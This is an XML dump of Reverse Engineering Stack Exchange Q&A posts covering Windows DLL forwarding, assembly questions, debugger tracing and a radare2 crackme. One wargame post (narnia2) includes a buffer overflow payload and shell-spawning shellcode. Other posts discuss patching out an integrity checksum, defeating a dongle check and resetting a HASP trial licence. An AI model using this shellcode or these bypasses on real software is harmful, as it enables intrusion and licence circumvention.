  <row Id="20176" PostTypeId="2" ParentId="20175" CreationDate="2018-12-21T13:11:30.127" Score="4" Body="&lt;p&gt;I think this is the reason why there are some WinAPIs that also existing in kernelbase.dll. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;As an example of functionality that we moved to low-level binaries, kernelbase.dll gets functionality from kernel32.dll and advapi32.dll. This means that the existing binary now forwards calls down to the new binary rather than handling them directly; the forwarding can be static (the export table shows the redirection), or runtime (the dll has a stub routine that calls down to the new binary). This will impact low-level applications such as security and backup applications that are dependent upon internal APIs and offsets.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference: &lt;a href=&quot;https://docs.microsoft.com/en-us/windows/desktop/Win7AppQual/new-low-level-binaries&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.microsoft.com/en-us/windows/desktop/Win7AppQual/new-low-level-binaries&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the example below. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the disassembly of OpenProcess in Kernel32.dll which redirects the OpenProcess to Kernelbase.dll&#xA;&lt;a href=&quot;https://i.stack.imgur.com/LGQli.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LGQli.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Disassembly of OpenProcess in Kernelbase.dll that call the Native API NTOpenProcess&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/LCeam.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/LCeam.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="23113" LastEditorUserId="23113" LastEditDate="2018-12-21T13:25:10.347" LastActivityDate="2018-12-21T13:25:10.347" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="20177" PostTypeId="1" AcceptedAnswerId="20178" CreationDate="2018-12-22T09:01:27.167" Score="1" ViewCount="681" Body="&lt;p&gt;I thought it was strange when I was looking at the code below. The first instruction clearly has completed the task of data transfer and expansion into 16 bits. Why is there a &quot;mov Eax,ax&quot; in the assembly code?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    movzx   eax, word ptr [rbp+addr.sa_data]&#xA;    movzx   eax, ax&#xA;    mov     edi, eax&#xA;    call    _htons&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="26817" LastActivityDate="2018-12-22T09:54:22.990" Title="What purpose of MOVZX EAX,AX after MOVZX EAX, WORD PTR [RBP+ADDR.SA_DATA]?" Tags="|ida|assembly|x86|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20178" PostTypeId="2" ParentId="20177" CreationDate="2018-12-22T09:54:22.990" Score="2" Body="&lt;p&gt;Obviously the &lt;code&gt;movzx eax, ax&lt;/code&gt; is useless.&#xA;I would say this is unoptimized code, this C code could reproduce the same generated code.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdint.h&amp;gt;&#xA;&#xA;void f(uint16_t v)&#xA;{&#xA;}&#xA;&#xA;struct S&#xA;{&#xA;        uint16_t a;&#xA;};&#xA;&#xA;int main(void)&#xA;{&#xA;        struct S s;&#xA;        s.a = 0x1122;&#xA;        f(s.a);&#xA;        return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Compiling with gcc without optimization options, the code is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1134:       0f b7 45 fe             movzx  eax,WORD PTR [rbp-0x2]&#xA;1138:       0f b7 c0                movzx  eax,ax&#xA;113b:       89 c7                   mov    edi,eax&#xA;113d:       e8 d7 ff ff ff          call   1119 &amp;lt;f&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, I wasn't able to produce the same result neither with clang or vc++.&#xA;Besides, it only happens when the value is read from a structure.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2018-12-22T09:54:22.990" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20179" PostTypeId="2" ParentId="20172" CreationDate="2018-12-22T10:56:31.627" Score="1" Body="&lt;p&gt;The binary is likely scrambled. At least the one for mine (Eleaf) is. Maybe there is a chance to read the unscrambled image out of the hardware using JTAG (if not disabled)&#xA;The Eleaf Controller is labled &quot;M091&quot; and is a 48 PIN but did not find any routed JTAG connection onboard.&#xA;A first step to find out what chip it is could be a check to which pins the crystal is connected to.&lt;/p&gt;&#xA;" OwnerUserId="26820" LastActivityDate="2018-12-22T10:56:31.627" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20182" PostTypeId="1" AcceptedAnswerId="20185" CreationDate="2018-12-22T21:26:52.990" Score="2" ViewCount="2661" Body="&lt;p&gt;is it possible to save the step-by-step execution route of the program?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i.e. lets say in x64dbg the program executes one handle after another &#xA;&lt;a href=&quot;https://i.stack.imgur.com/dMKdH.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/dMKdH.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and so on, probably hundreds of calls...&#xA;But according to the specific function, it might show &quot;YES&quot; and &quot;NO&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I want to save/remember the steps from the beginning to the &quot;YES&quot; window, and then compare it to the execution/steps, when it shows &quot;NO&quot;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I could see on &lt;strong&gt;which handle&lt;/strong&gt; (specific logic in function) the difference happens.&lt;/p&gt;&#xA;" OwnerUserId="10008" LastEditorUserId="10008" LastEditDate="2019-01-08T08:46:03.497" LastActivityDate="2019-01-08T08:46:03.497" Title="How to save (trace) the execution route/sequences in debugger and Replay?" Tags="|debugging|x64dbg|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20183" PostTypeId="2" ParentId="20141" CreationDate="2018-12-23T14:31:50.130" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;My problem is that I tried to disassemble the EXE using both IDA Pro 7.0 and OllyDbg 2.01 but neither of them have been able to find any calls to that function.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;It won't be called directly because this is a method and not a function.&#xA;In other word, IDirectDraw instance contains an array of pointers to code (it's called a virtual table), when a call is made, the generated code is an indirect call using the instance.&#xA;To figure out where this method is called, you have several methods:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dynamically: Identify to address to the method and set a breakpoint to it, then you can get the caller when the breakpoint is triggered.&lt;/li&gt;&#xA;&lt;li&gt;Statically, find the call to &lt;code&gt;DirectDrawCreateEx&lt;/code&gt; and track &lt;code&gt;lplpDD&lt;/code&gt; parameter, when the vtable is dereferenced and it's followed by an indirect call with offset (method number * sizeof(void*)), see if the destination is the method you're looking for.&lt;/li&gt;&#xA;&lt;li&gt;Lazily, simply use &lt;a href=&quot;https://sourceforge.net/projects/dxwnd/&quot; rel=&quot;nofollow noreferrer&quot;&gt;DxWnd&lt;/a&gt; :)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I hope it can help you.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2018-12-23T14:31:50.130" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20184" PostTypeId="1" CreationDate="2018-12-23T21:21:53.110" Score="1" ViewCount="4118" Body="&lt;p&gt;Twitter has an option to right-click on a video and &quot;copy video address&quot; but this button seems to be broken as it doesn't copy anything to the clipboard, even after I disable Ghostery/adblock. I wanted to find the link directly in the html source but I can't seem to do so. Does anyone know how to do this? A previous post from a while ago suggested looking for &quot;video_url&quot; but that keyword doesn't seem to be anywhere in the source&lt;/p&gt;&#xA;" OwnerUserId="26832" LastActivityDate="2022-02-12T13:28:07.497" Title="How to copy video address from tweet?" Tags="|javascript|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20185" PostTypeId="2" ParentId="20182" CreationDate="2018-12-23T21:24:47.787" Score="4" Body="&lt;p&gt;You may want to use &quot;Trace record&quot; and &quot;Run trace&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using Trace record, the debugger records and highlights every instructions as you step through the code. You will easily know when the same instruction is executed twice by virtue of the highlighting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/9aeEo.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/9aeEo.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When &quot;Run trace&quot; is enabled with &quot;Trace record&quot;, the debugger additionally saves the code execution path along with the state of the registers and associated memory at each step.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/7G8c5.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/7G8c5.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Further read: &lt;a href=&quot;https://x64dbg.com/blog/2016/07/09/introducing-contemporary-reverse-engineering-technique-to-real-world-use.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://x64dbg.com/blog/2016/07/09/introducing-contemporary-reverse-engineering-technique-to-real-world-use.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1413" LastActivityDate="2018-12-23T21:24:47.787" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20186" PostTypeId="2" ParentId="20184" CreationDate="2018-12-24T13:32:45.430" Score="4" Body="&lt;p&gt;I could not quite track how exactly it's done but &lt;a href=&quot;https://github.com/rg3/youtube-dl&quot; rel=&quot;nofollow noreferrer&quot;&gt;youtube-dl&lt;/a&gt; can do it. Run it with &lt;code&gt;-v&lt;/code&gt; or &lt;code&gt;-g&lt;/code&gt; to see the final video URL:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;C:\Work&amp;gt;C:\Python27\Scripts\youtube-dl.exe -v https://twitter.com/starwars/status/665052190608723968&#xA;[debug] System config: []&#xA;[debug] User config: []&#xA;[debug] Custom config: []&#xA;[debug] Command-line args: [u'-v', u'https://twitter.com/starwars/status/665052190608723968']&#xA;[debug] Encodings: locale cp1252, fs mbcs, out cp437, pref cp1252&#xA;[debug] youtube-dl version 2018.12.17&#xA;[debug] Python version 2.7.12 (CPython) - Windows-7-6.1.7601-SP1&#xA;[debug] exe versions: none&#xA;[debug] Proxy map: {}&#xA;[twitter] 665052190608723968: Downloading webpage&#xA;[twitter:card] 665052190608723968: Downloading webpage&#xA;[twitter:card] 665052190608723968: Downloading guest token&#xA;[twitter:card] 665052190608723968: Downloading JSON metadata&#xA;[twitter:card] 665052190608723968: Downloading XML&#xA;[debug] Default format spec: best/bestvideo+bestaudio&#xA;[debug] Invoking downloader on u'https://video.twimg.com/amplify_video/731129743244828672/vid/1280x720/PbHOy05lC7qXGG8B.mp4'&#xA;[download] Destination: Star Wars - A new beginning is coming December 18. Watch the official 60 second #TV spot for #StarWars - #TheForceAwak&#xA;ens.-665052190608723968.mp4&#xA;[download] 100% of 10.06MiB in 00:00&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Code for this extractor can be found in &lt;code&gt;youtube-dl/youtube_dl/extractor/twitter.py&lt;/code&gt; in the source repository.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2018-12-24T13:32:45.430" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20187" PostTypeId="1" AcceptedAnswerId="20209" CreationDate="2018-12-24T13:35:18.820" Score="1" ViewCount="5705" Body="&lt;p&gt;I am trying to crack a crackme. I already catch the flag because I seen the string variable which represants flag. I would like to catch the flag on an other way, I want to set a breakpoint when there is a comparison of the string. I want to use radare2.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I use the &lt;em&gt;dc&lt;/em&gt; command to run the program which should stop to breakpoint I set up, I have the message &lt;em&gt;TO DO continue&lt;/em&gt;. I don't know why. I expected a message in the form :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;string 1 : TheStringIEnter string 2 : TheFlagOfTheChallenge&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the commands I execute :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;radare 2 -d ch1.bin&#xA;s sym.main&#xA;aaa&#xA;pdf&#xA;VV&#xA;:&#xA;:&amp;gt; db 0x08048705&#xA;:&amp;gt; dc&#xA;TODO continue&#xA;:&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the output of pdf command :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[0x0804869d]&amp;gt; pdf&#xA;/ (fcn) main 155&#xA;|   main (int argc, char **argv, char **envp);&#xA;|           ; var int local_ch @ ebp-0xc&#xA;|           ; var int local_8h @ ebp-0x8&#xA;|           ; var int local_4h @ esp+0x4&#xA;|           ; DATA XREF from entry0 (0x8048507)&#xA;|           0x0804869d      8d4c2404       lea ecx, [local_4h]         ; 4&#xA;|           0x080486a1      83e4f0         and esp, 0xfffffff0&#xA;|           0x080486a4      ff71fc         push dword [ecx - 4]&#xA;|           0x080486a7      55             push ebp&#xA;|           0x080486a8      89e5           mov ebp, esp&#xA;|           0x080486aa      51             push ecx&#xA;|           0x080486ab      83ec24         sub esp, 0x24               ; '$'&#xA;|           0x080486ae      c745f8418804.  mov dword [local_8h], str.123456789 ; 0x8048841 ; &quot;123456789&quot;&#xA;|           0x080486b5      c704244c8804.  mov dword [esp], str.       ; [0x804884c:4]=0x23232323 ; &quot;############################################################&quot;&#xA;|           0x080486bc      e807feffff     call sym.imp.puts           ; int puts(const char *s)&#xA;|           0x080486c1      c704248c8804.  mov dword [esp], str.welcome_to_challenge ; [0x804888c:4]=0x20202323 ; &quot;##        Welcome to this challenge        ##&quot;&#xA;|           0x080486c8      e8fbfdffff     call sym.imp.puts           ; int puts(const char *s)&#xA;|           0x080486cd      c70424cc8804.  mov dword [esp], str.       ; [0x80488cc:4]=0x23232323 ; &quot;############################################################\n&quot;&#xA;|           0x080486d4      e8effdffff     call sym.imp.puts           ; int puts(const char *s)&#xA;|           0x080486d9      c704240c8904.  mov dword [esp], str.please_enter_pass: ; [0x804890c:4]=0x69756556 ; &quot;Please enter the password : &quot;&#xA;|           0x080486e0      e8b3fdffff     call sym.imp.printf         ; int printf(const char *format)&#xA;|           0x080486e5      8b45f4         mov eax, dword [local_ch]&#xA;|           0x080486e8      890424         mov dword [esp], eax&#xA;|           0x080486eb      e80effffff     call sym.getString&#xA;|           0x080486f0      8945f4         mov dword [local_ch], eax&#xA;|           0x080486f3      8b45f8         mov eax, dword [local_8h]&#xA;|           0x080486f6      89442404       mov dword [local_4h], eax&#xA;|           0x080486fa      8b45f4         mov eax, dword [local_ch]&#xA;|           0x080486fd      890424         mov dword [esp], eax&#xA;|           0x08048700      e8d3fdffff     call sym.imp.strcmp         ; int strcmp(const char *s1, const char *s2)&#xA;|           0x08048705      85c0           test eax, eax&#xA;|       ,=&amp;lt; 0x08048707      7515           jne 0x804871e&#xA;|       |   0x08048709      8b45f8         mov eax, dword [local_8h]&#xA;|       |   0x0804870c      89442404       mov dword [local_4h], eax&#xA;|       |   0x08048710      c70424308904.  mov dword [esp], str.good_job:__s ; [0x8048930:4]=0x6e656942 ; &quot;Good job ! You just pass the challenge with the pass : %s!\n&quot;&#xA;|       |   0x08048717      e87cfdffff     call sym.imp.printf         ; int printf(const char *format)&#xA;|      ,==&amp;lt; 0x0804871c      eb0c           jmp 0x804872a&#xA;|      ||   ; CODE XREF from main (0x8048707)&#xA;|      |`-&amp;gt; 0x0804871e      c70424708904.  mov dword [esp], str.bad__password. ; [0x8048970:4]=0x6d6d6f44 ; &quot;Bad password.&quot;&#xA;|      |    0x08048725      e89efdffff     call sym.imp.puts           ; int puts(const char *s)&#xA;|      |    ; CODE XREF from main (0x804871c)&#xA;|      `--&amp;gt; 0x0804872a      b800000000     mov eax, 0&#xA;|           0x0804872f      83c424         add esp, 0x24               ; '$'&#xA;|           0x08048732      59             pop ecx&#xA;|           0x08048733      5d             pop ebp&#xA;|           0x08048734      8d61fc         lea esp, [ecx - 4]&#xA;\           0x08048737      c3             ret&#xA;[0x0804869d]&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user26834" LastEditorDisplayName="user26834" LastEditDate="2018-12-24T13:41:11.450" LastActivityDate="2018-12-27T11:29:20.243" Title="Impossible to execute a program with radare2 : TO DO continue" Tags="|binary-analysis|decompilation|radare2|breakpoint|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="20188" PostTypeId="1" CreationDate="2018-12-24T13:48:50.260" Score="1" ViewCount="558" Body="&lt;p&gt;I need an explanation about the term &quot;opcode&quot;. I have found this : &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;An opcode is binary or hex value of the machine instruction in the cpu&#xA;  instruction set.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If I understand correctly the definition, for instance :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;6A 03  push 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;6A is the opcode et 03 the operand. But in several posts on different forums, people talk about 03 as if it was an opcode (for instance &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/17671/what-is-an-immediate-value&quot;&gt;this&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Here, 3 is an immediate because it's included directly as part of the opcode (in the second byte).&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does 03 is an opcode &lt;strong&gt;and&lt;/strong&gt; an operand? &lt;/p&gt;&#xA;" OwnerUserId="26835" LastActivityDate="2018-12-24T14:27:41.540" Title="Explenation about opcode and operand" Tags="|assembly|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20189" PostTypeId="2" ParentId="20188" CreationDate="2018-12-24T14:27:41.540" Score="1" Body="&lt;p&gt;Regarding this specific push and according to the &lt;a href=&quot;https://software.intel.com/sites/default/files/managed/39/c5/325462-sdm-vol-1-2abcd-3abcd.pdf&quot; rel=&quot;nofollow noreferrer&quot;&gt;Intel SDM&lt;/a&gt; (Page can be identified by searching Vol. 2B 4-507) 03 is both a part of the opcode and the &quot;argument&quot;. The full opcode of &quot;&lt;code&gt;push 03&lt;/code&gt;&quot; is &quot;&lt;code&gt;6A 03&lt;/code&gt;&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I know Intel SDM consistently uses the term opcode as &quot;all the content of the assembly command, including operands&quot;.&#xA;  &lt;a href=&quot;https://i.stack.imgur.com/sJZWz.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/sJZWz.png&quot; alt=&quot;Table of possible PUSH opcodes in the SDM&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2318" LastActivityDate="2018-12-24T14:27:41.540" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20190" PostTypeId="1" CreationDate="2018-12-24T17:15:34.333" Score="4" ViewCount="1658" Body="&lt;p&gt;I reverse exe file with IDA, there is a function (that is running some other function) that I  don't want to understand how it works, but I want to run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I run an exe file from a specific offset and give it parameters to some arguments?&lt;/p&gt;&#xA;" OwnerUserId="26837" LastEditorDisplayName="user12114" LastEditDate="2019-01-19T19:45:23.953" LastActivityDate="2019-01-19T19:45:23.953" Title="How to run part of exe file that is being reversed" Tags="|ida|windows|exe|offset|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20192" PostTypeId="1" CreationDate="2018-12-25T09:56:25.977" Score="0" ViewCount="1438" Body="&lt;p&gt;i debugged und reversed an exe file with x64dbg&#xA;I simply changed an assembly command (je) into nop , patched the file and saved it under a different name. (only one line was changed)&#xA;When i tried to start this patched exe-file, i got the message:&#xA;&quot;File corrupted! This program has been manipulated and maybe it's infected by a virus or cracked. This file wont work anymore&quot;.&#xA;It seems that the original exe file protects itself against changing.&#xA;Does anyone know, how that works and how to bypass it?&lt;/p&gt;&#xA;" OwnerUserId="26844" LastActivityDate="2023-08-24T11:07:35.923" Title="Strange Message after manipulating an exe file" Tags="|disassembly|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20193" PostTypeId="2" ParentId="20192" CreationDate="2018-12-25T10:33:49.750" Score="1" Body="&lt;p&gt;Sound's like the program checks for validity.&lt;br&gt;&#xA;I can think of two ways to solve it (pretty much the same way with a twist):&lt;br&gt;&#xA;1. find where it calculates the checksum and verify it, you can patch it to always look valid&lt;br&gt;&#xA;2. find where it calculates the checksum, breakpoint right after the checksum is calculated and place the calculated checksum in the file instead of the original checksum.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can patch the binary at run-time, if it doesn't pop a message, it only check the checksum once (as opposed to checking it repeatedly in a different thread).   If it does pop a message, you can find the function pointers passed to &lt;code&gt;CraeteThread&lt;/code&gt;, once of the pointers should take you to the functions that verifies the checksum.&lt;br&gt;&#xA;If the message doesn't pop, you can find the checksum calculation by looking at x-refs from the start of each segment (the &lt;code&gt;.text&lt;/code&gt; segment is likely to get x-refed by this code).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If, for some reason, only the checksum of some of the &lt;code&gt;.text&lt;/code&gt; segment is calculated and checked, you can simply search for strings &quot;File corrupted! This program has been manipulated and maybe it's infected by a virus or cracked. This file wont work anymore&quot;, find where it's referenced and check for the validation around that&lt;/p&gt;&#xA;" OwnerDisplayName="user22970" LastActivityDate="2018-12-25T10:33:49.750" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="20194" PostTypeId="1" CreationDate="2018-12-25T14:12:11.490" Score="1" ViewCount="1211" Body="&lt;p&gt;I'm trying to solve the narnia2 challenge on overthewire. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I read a guide for help and managed to overwrite the stack with A's using some python&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$(python -c &quot;print 'A'*132 + '\xef\xbe\xad\xde'&quot;)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and that works fine. I get a seg fault, and can use gdb to see eip has been overwritten with 0xdeadbeef - great so now I assumed the stack size is 132 bytes and then the next 4 overwrite eip to redirect the return. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;( a lot of guides say to use 144 here - but I'm assuming the challenge changed? ) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I used pwntools to generate me shellcode for a shell ( the same way I solves the previous challenge ) - and got &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&#xA; -&amp;gt; asm(shellcraft.i386.linux.sh())&#xA;'jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80'&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This payload worked on the previous challenge, but now when I go through the process of sticking this shellcode in my payload it never works. Replacing this with a shellcode from a guide works fine &#xA;&lt;code&gt;&#xA;asm(shellcraft.i386.linux.sh())&#xA;'h\x01\x01\x01\x01\x814$ri\x01\x011\xd2Rj\x04Z\x01\xe2R\x89\xe2jhh///sh/binj\x0bX\x89\xe3\x89\xd1\x99\xcd\x80'&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It looks the same but with some extra stuff at the start. Why is this and how is it produced?&lt;/p&gt;&#xA;" OwnerUserId="26847" LastActivityDate="2020-08-20T10:22:19.283" Title="pwntools shellcode narnia2" Tags="|binary-analysis|gdb|pwntools|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="20195" PostTypeId="1" CreationDate="2018-12-25T19:43:16.160" Score="1" ViewCount="42" Body="&lt;p&gt;Do you known any dbi tool that support instrumentation of application that use far jump 0x33?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. pin, dymanoRIO don't support far jump 0x33.&lt;/p&gt;&#xA;" OwnerUserId="26851" LastActivityDate="2018-12-25T19:43:16.160" Title="Instrumentation fail when app use far jump 0x33 crash" Tags="|dynamic-analysis|instrumentation|pintool|dynamorio|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20196" PostTypeId="1" CreationDate="2018-12-25T21:19:59.610" Score="2" ViewCount="450" Body="&lt;p&gt;i'm trying to fake the test ( dongle exist )&#xA;but one problem that i encounter is that the application detect it before i start debugging it .&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;this is what happen with more details  : open( not attaching) the&#xA;  target programme in x64dbg before anything ( what i mean is that the&#xA;  debugger still  loading moduals and ...) a pop-up show up with an&#xA;  message &quot;you need the dongle usb key &quot; aftre that message the debugger&#xA;  disassembly panel show up with eip at the kernel address of nt dll &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my questions:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;is this is a type of anti-Reverse Engineering?&lt;/li&gt;&#xA;&lt;li&gt;how i bypass this type of protection ( if it is a protection ) ?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;my working env:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;x64dbg&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;win 7 64bit&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="26852" LastEditorUserId="26852" LastEditDate="2018-12-25T22:44:27.503" LastActivityDate="2018-12-26T07:06:11.263" Title="dongle check happen before a debugger start debugging" Tags="|windows|anti-debugging|x64dbg|dongle|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="20198" PostTypeId="2" ParentId="20196" CreationDate="2018-12-26T07:06:11.263" Score="1" Body="&lt;p&gt;It could be a TLS callback. Some debuggers have an option to break earlier.&#xA;I suggest you use &lt;a href=&quot;https://docs.microsoft.com/en-us/sysinternals/downloads/procmon&quot; rel=&quot;nofollow noreferrer&quot;&gt;procmon&lt;/a&gt; to see who and when an handle is opened for your USB dongle.&lt;/p&gt;&#xA;" OwnerUserId="26176" LastActivityDate="2018-12-26T07:06:11.263" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20199" PostTypeId="1" CreationDate="2018-12-26T14:09:31.523" Score="0" ViewCount="568" Body="&lt;p&gt;I have a provisional license for a program attached to a specific computer. The license according to hasp resides in the &quot;secure storage of your pc&quot; does anyone know where this is? If I reset the pc the license is not detected which makes me think the HASP Hardlock is located in the Windows directory. If I could wipe the  hardlock I could add a new provisional license and repeat this for an infinite 30 day trial.&lt;/p&gt;&#xA;" OwnerUserId="23895" LastActivityDate="2020-05-19T17:03:00.273" Title="Sentinel HASP Hardlock - Where is the Secure Storage Located on disk" Tags="|software-security|dongle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="20200" PostTypeId="2" ParentId="20199" CreationDate="2018-12-26T15:30:52.000" Score="1" Body="&lt;p&gt;For my knowledge , HASP has a USB pen with something inside and two different drivers running as a service to accept remote and local request of license verification... And the other one is something I do not recall .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably you could sniff protocol (port 1943 for example) .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry but I had not access to the phisical USB pen &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Probably you can also clone it and mount on a virtual machine, but I hadn't tried. &lt;/p&gt;&#xA;" OwnerUserId="24904" LastActivityDate="2018-12-26T15:30:52.000" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
